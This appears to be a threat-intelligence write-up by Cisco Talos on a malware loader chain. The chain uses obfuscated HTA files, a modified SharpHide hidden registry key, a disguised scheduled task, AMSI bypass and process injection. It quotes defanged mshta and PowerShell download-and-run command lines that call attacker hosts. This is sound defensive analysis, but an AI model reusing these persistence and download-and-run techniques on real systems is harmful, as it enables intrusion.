In June 2022, Cisco Talos identified an unusual command line execution in our telemetry.
The 31.41.244[.]231 IP is a Russian IP and hosts several other URLs with similar naming conventions.
Cisco Talos identified two other command lines.
They are a result of an autorun registered executable and the execution of a scheduled task.
The autorun executable and scheduled task command lines.
The first command connects to the download server and downloads an HTA application whose script is obfuscated with HTML Guardian, an application that encrypts HTML code.
The content displayed when the HTA file is opened in a browser.
When deobfuscated, the HTA file executes the VB script code to download and run PowerShell code from hxxp[:]//31[.]41[.]244[.]231/0x?0=Loader, which launches the next stage of the loading process.
The autorunnn.exe module (d9c8e82c42e489ac7a484cb98fed40980d63952be9a88ff9538fc23f7d4eb27f) is a modified variant of the SharpHide open-source utility, which attempts to create a hidden registry entry.
It uses NtSetValueKey native API to create a hidden (null-terminated) registry key by adding a null byte in front of the UNICODE_STRING key valuename.
In this case, SharpHide is modified to create the following entry:
HKLM|HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunshell set to run the command: “explorer.exe, cmd /c mshta hxxp://go[.]clss[.]cl/0k#=GoogleWindowsAnalyticsConfiguration”.
The program also attempts to create a scheduled task which runs when the user logs onto the system.
The task name is “OneDrive Standalone Update Task” and it will attempt to execute the sams command to download and run the PowerShell loader: “mshta hxxp[:]//go[.]clss[.]cl/0k#=GoogleWindowsAnalyticsConfiguration”.
Modified SharpHide code is used to hide registry startup entry.
The URL serves PowerShell code which will be executed on the system.
As part of the logon sequence, the system executes a file, which ensures that the registry entry and the scheduled task set to download the next stage are set.
The next stage is the PowerShell loader.
The loader contains embedded code of three modules, which are loaded using reflection as additional .NET assemblies into the PowerShell process space.
The downloaded PowerShell code also downloads and runs auxiliary modules and payloads.
There are usually three modules in this loader format.
The first disables AMSI scanning functionality, the second is the final payload, and the last injects the payload into the process space of a newly created process, usually RegSvcs.exe.